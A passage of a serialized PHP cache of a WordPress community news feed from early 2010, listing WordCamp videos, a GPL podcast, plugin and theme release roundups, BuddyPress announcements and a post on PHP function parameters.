Plugin";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"http://wordpress.tv/?p=3437";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.tv/2009/11/13/john-hawkins-building-plugin-phx09/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1398:"
\n\n
\n
John Hawkins: Building a WordPress Plugin
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 03 Mar 2010 04:15:08 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"Ryan Markel";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:28;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:91:"WordPress.tv: Merlin Mann: Something Something Social Media – The Overdue Minority Report";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"http://wordpress.tv/?p=3433";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:62:"http://wordpress.tv/2009/11/13/merlin-mann-social-media-phx09/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1397:"
\n\n
\n
Merlin Mann: Something Something Social Media
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 03 Mar 2010 04:00:07 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"Ryan Markel";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:29;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:26:"WordPress Podcast: GPL-ish";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:63:"http://www2.webmasterradio.fm/wordpress-community-podcast/?p=30";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:63:"http://feedproxy.google.com/~r/wordpresspodcast/~3/FwpfYKl8UgE/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:530:"

This week Joost is joined by Jeff Chandler of the WordPress Tavern and Grant Griffiths of the Headway theme. They discussed all of the implications of themes and plugins being GPL or not, and why people would and in Joost’s opinion should choose to be GPL. Also some discussion came up about how theme and plugin authors should be credited.

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 03 Mar 2010 00:19:28 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:54:"joost@pressthis.com (Joost de Valk & Frederick Townes)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:30;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:44:"WordPress.tv: Roundtable with Matt Mullenweg";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"http://wordpress.tv/?p=3430";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:73:"http://wordpress.tv/2009/11/13/matt-mullenweg-wordpress-roundtable-phx09/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1392:"
\n\n
\n
Roundtable with Matt Mullenweg
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 02 Mar 2010 21:30:08 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"Ryan Markel";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:31;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:75:"Weblog Tools Collection: Bookmarklet to Quickly Access WordPress Admin Menu";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:104:"http://weblogtoolscollection.com/archives/2010/03/01/bookmarklet-to-quickly-access-wordpress-admin-menu/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:104:"http://weblogtoolscollection.com/archives/2010/03/01/bookmarklet-to-quickly-access-wordpress-admin-menu/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2300:"

There are times when I have wanted to install a plugin on my blog. The usual process included loading the admin dashboard and going to the install plugin page, or bookmarking the install plugin page and then navigating to it using that.

\n

Now I also want to access another feature in the admin dashboard, so I go ahead and bookmark it. Bookmarking pages is definitely a good way to quickly jump to certain pages, however, it is not exactly productive.

\n

That was until I came across an excellent bookmarklet, which will allow users to quickly access the the WordPress sidebar menu items with a single click. Once you drag and drop the bookmarklet to your browser bookmark bar, you can click on it to access the admin menu for a particular site. Take a look at the screenshot below to see it in action.

\n

wordpress_admin_menu_bookmarklet

\n

Once you click on the bookmarklet, a WordPress like menu will be displayed to you, you can hover over the menu to see the sub-menus and options available under the menu. Clicking on the link will take you directly to the admin page of the current site you are browsing.

\n

I emphasized on the text above, as this is the only flaw I saw with the bookmarklet. It will only work for the site you are currently browsing and not a site you can choose it to work for. So technically you will have to browse to your own site before you can get this to work properly for you.

\n

That aside, this is a really useful bookmarklet and will definitely come in pretty handy. Visit the link below to add the bookmarklet to your browser’s bookmark bar.

\n

WordPress Admin Toolbar Bookmarklet [via @smashingmag]

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 02 Mar 2010 04:11:59 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"Keith Dsouza";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:32;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:23:"Matt: OS Enemy of State";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33717";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:39:"http://ma.tt/2010/03/os-enemy-of-state/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:356:"

Guardian: When using open source makes you an enemy of the state. “The US copyright lobby has long argued against open source software – now Indonesia’s in the firing line for encouraging the idea in government departments”

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 01 Mar 2010 19:35:40 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:33;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:60:"Weblog Tools Collection: WordPress Plugin Releases for 03/01";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7814";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:88:"http://weblogtoolscollection.com/archives/2010/03/01/wordpress-plugin-releases-for-0101/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3162:"

New Plugins

\n

123 Flash Chat

\n

123 Flash Chat WordPress Plugin can be used to create your own chat room in WordPress. It allows you to insert chat room to your sidebar, with either a lite chat client or a link to standard chat client in popup mod. And you can define the width and height of 123 Flash Chat as well as its skin & language. The chat room displays a “hosted by 123flashchat.com free of charge” message.

\n

Asynchronous Widgets

\n

Allows you to have any registered widget on your WordPress.org-powered site be loaded asynchronously via an AJAX call.

\n

WP-Tabbity

\n

Allows authors to create one or more tab groups containing one or more tabs, animated by the WordPress-included version of jQuery.

\n

WP Function Reference

\n

Provides a box on the dashboard with a list of the functions that are available for you to use in your Wordpress installation

\n

Disable WordPress Updates

\n

Disables the theme, plugin and core update checking, the related cronjobs and notification system.

\n

Updated Plugins

\n

SEO Ultimate

\n

This all-in-one SEO plugin can handle titles, meta, noindex, canonical tags, 404 monitoring, linkboxes, robots.txt, and more. Version 1.6 can import data from All in One SEO Pack.

\n

Bulk Delete

\n

Bulk Delete WordPress Plugin which lets you to delete posts in bulk from selected categories or tags has been updated to version 0.7. The new version supports moving to trash instead of deleting and batch updates.

\n

Rico Tabbed Menu

\n

This is a simple plugin to create a tabbed menu in a post using Rico Ajax.

\n

WP Google-buzz

\n

Automatically displays Google Buzz button for every post. Google Buzz is shaping up to be an interesting new way to share content with your Gmail friends, so why not have a button for sharing blog posts/pages to the service.

\n

Ozh’ Who Sees Ads

\n

Who Sees Ads is an advanced ad management plugin that lets you decide who will see your ads, for instance Adsense, depending on user defined conditions. You can manage ads in your templates (eg sidebar.php) or within posts and pages.

\n

Lightbox Plus

\n

Lightbox Plus permits users to view larger versions of images from the current page and display simple slide shows, all in an overlay.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 01 Mar 2010 19:00:58 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Perurry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:34;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:59:"Weblog Tools Collection: WordPress Theme Releases for 02/27";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7812";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:87:"http://weblogtoolscollection.com/archives/2010/02/27/wordpress-theme-releases-for-0227/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1792:"

DarkMood

\n

DarkMood

\n

The DarkMood Theme is a free dark greenish theme 980px wide with two Sidebars and an Option Page to populate the Footer.

\n

Expressivo

\n

expressivo

\n

Expressivo is a three-column theme with two righthand sidebars – going to a single sidebar on single posts and pages. With Cufon embedded fonts for post titles, threaded and paged comments – you can also replace the header completely with your own image.

\n

Bright Light

\n

Bright Light

\n

Bright Light is a two columns, fluid width WordPress theme with support for custom top navigation. It also has built-in support for social icons.

\n

5 Grunge Wordpress Themes

\n

Grunge Asphalt

\n

Themes are a little bit dark, a little bit dirty, and very grungy. Widget-ready and gravatar-enabled

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 27 Feb 2010 17:58:49 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Perurry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:35;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:43:"Weblog Tools Collection: BuddyPress anyone?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7805";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"http://weblogtoolscollection.com/archives/2010/02/27/buddypress-anyone/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1016:"

By now you have surely read the news of the release of BudyPress 1.2 (which now will work with single WordPress.org blogs, previously limited to WordPress MU) and this dev blog announcement from Jane last evening about another plugin Andy wrote that lets you use your present theme with BuddyPress.

\n

I have always been of the opinion that this blog, its content, its collection of authors and most of all, its community of readers, is a prime candidate for BuddyPress. Having a common signup between comments, ratings, forums and blog posts would be a fantastic feature. This news is the first step in making those features a reality. We will start working on our test version of this blog very soon.

\n

Are you thinking about trying BuddyPress? What is your greatest concern in adding BuddyPress to your blog? What is the greatest benefit?

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 27 Feb 2010 14:54:56 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Mark Ghosh";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:36;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:51:"mdawaffe: Kicking the tires on this Facebook dealie";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:35:"http://mdawaffe.wordpress.com/?p=99";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:83:"http://mdawaffe.wordpress.com/2010/02/27/kicking-the-tires-on-this-facebook-dealie/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1160:"

Just checking the ol’ girl out.

\n
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 27 Feb 2010 03:56:04 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"mdawaffe";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:37;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:39:"Dev Blog: BuddyPress for One (and All!)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1224";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:70:"http://wordpress.org/development/2010/02/buddypress-for-one-and-all-3/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2353:"

Back in April of last year, Matt posted here on the dev blog about the release of BuddyPress 1.0, a plugin that adds a social networking layer to an installation of WordPress MU. Many people were excited about the idea, but were unable to experiment with BuddyPress because they ran single installations of WordPress rather than the multi-site WordPress MU. To those people, good news! A little over a week ago Andy Peatling, founder and lead developer of BuddyPress, announced the release of BuddyPress 1.2, which can be used on single installations of WordPress. Congratulations, BuddyPress! And congratulations to all the people who’ve been waiting with bated breath for this to happen.

\n

The first thing I thought when I heard the news was, “Awesome! Now everyone can put BuddyPress on their site if they want it.” The second thought I had was, “Shoot! Average WordPress users won’t want to try BuddyPress if they have to switch their site themes over to the BuddyPress default theme just to try it out.” The third thought I had was, “That can’t be right. I’ll ask Andy.”

\n

As it turned out, you could keep your current theme with BuddyPress if you added a couple of files and made a few file edits. There was even a link on the BuddyPress site to download the necessary files. That still seemed a little clunky, though, so Andy, super awesome guy that he is, went ahead and made a plugin to get you started. The BuddyPress Template Pack can be installed directly from your WordPress admin (Plugins > Add New), and will walk you through the theme additions step by step.*

\n

Now you can use BuddyPress with your single site installation of WordPress, and you can keep your existing theme. Seriously, could BuddyPress have made it any easier for you to add social networking to your site? I know I can’t wait to try it out this weekend, how about you?

\n

* Don’t forget to install BuddyPress itself, or the template pack plugin won’t do anything!

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 26 Feb 2010 20:25:30 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:38;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:90:"Weblog Tools Collection: Passing Parameters as Variables vs Passing Parameters as An Array";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7799";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:119:"http://weblogtoolscollection.com/archives/2010/02/25/passing-parameters-as-variables-vs-passing-parameters-as-an-array/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3260:"

Improvisation is the name of the game, and we tend to do a lot of it with plugins and themes. In that process we tend to modify functions by adding more variables to incorporate changes in them. However, unlike most of the other languages, PHP allows users to set default values for variables passed to a method too.

\n

As a developer when you start out coding, you have a certain number of things a function will require in order for it to work, some may be optional too, so you set out to create a method signature similar to the one below.

\n

function do_something($var1, $var2, $var3, $var4 = false, $var5 = '''')  {

\n

//process business logic here

\n

}

\n

Now, say you release your plugin or theme and get more feedback on features and other improvements. If the features or improvements suggested require you to change the method signature to incorporate new variables and you use default values, you are in a bit of a spot.

\n

So what is the best way to avoid such situations? In my opinion, if you use a function which accepts variables, it could easily scale to accept more parameters without breaking anything by accepting an array as a single parameter. The array would have to be built up either internally in the code somewhere or externally through the user.

\n

So you could rewrite the above logic as below:

\n

function do_something($args = array()) {

\n

$myvar = (array_key_exists(''mykey'', $args)) ? $args[''mykey''] : get_default_value(''mykey'');

\n

//process business logic here

\n

}

\n

Now, you would not expect a user to pass an array while using your non-widget based plugin in their themes, so you would have to provide users with an options page which will allow them to set the values they want to be passed to the function, and then build a Facade function internally which will then read all the option values and pass it on to the main function to be processed.

\n

I hear people saying that they can fetch the options from WordPress inside the function itself and there is not need for this Facade, however, in my experience of over 11 years in the software industry, I have learnt one important thing, never mix anything with business logic.

\n

If a function is supposed to perform a task, let it perform only that and nothing else, that way you can reuse the function elsewhere without having to constantly rewrite it to adapt to different things.

\n

I have seen several plugins which make use of arrays and several which do not. I would definitely be interested to learn on how you approach this, the comments form is open.

\n

Update: From the comments below, many users mistook me. I never said that users cannot use wp_parse_args. However, being an OOPS developer, I stick with my above post and say that you should keep business logic separate from processing logic, no matter whether it is WordPress or any other platform, that is the basic fundamental I learnt in OOPS, and I do believe OOPS is the best fundamental and way to go forward. I expect arguments on that.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 25 Feb 2010 19:14:22 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"Keith Dsouza";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:39;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:60:"Weblog Tools Collection: WordPress Plugin Releases for 02/25";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7797";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:90:"http://weblogtoolscollection.com/archives/2010/02/25/wordpress-plugin-releases-for-0225-2/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2240:"

New Plugins

\n

Flickr Digest

\n

A simple to use WordPress plugin based on Flickr API which digests all your photos posted in last X days in a single post periodically.

\n

Feed Thumbnails

\n

This plugin simply adds your post thumbnails to your RSS feed as enclosures. Nothing else to it.

\n

Simple Twitter Connect

\n

Simple Twitter Connect makes it easy to integrate your site with Twitter, in a wholly modular way.

\n

Updated Plugins

\n

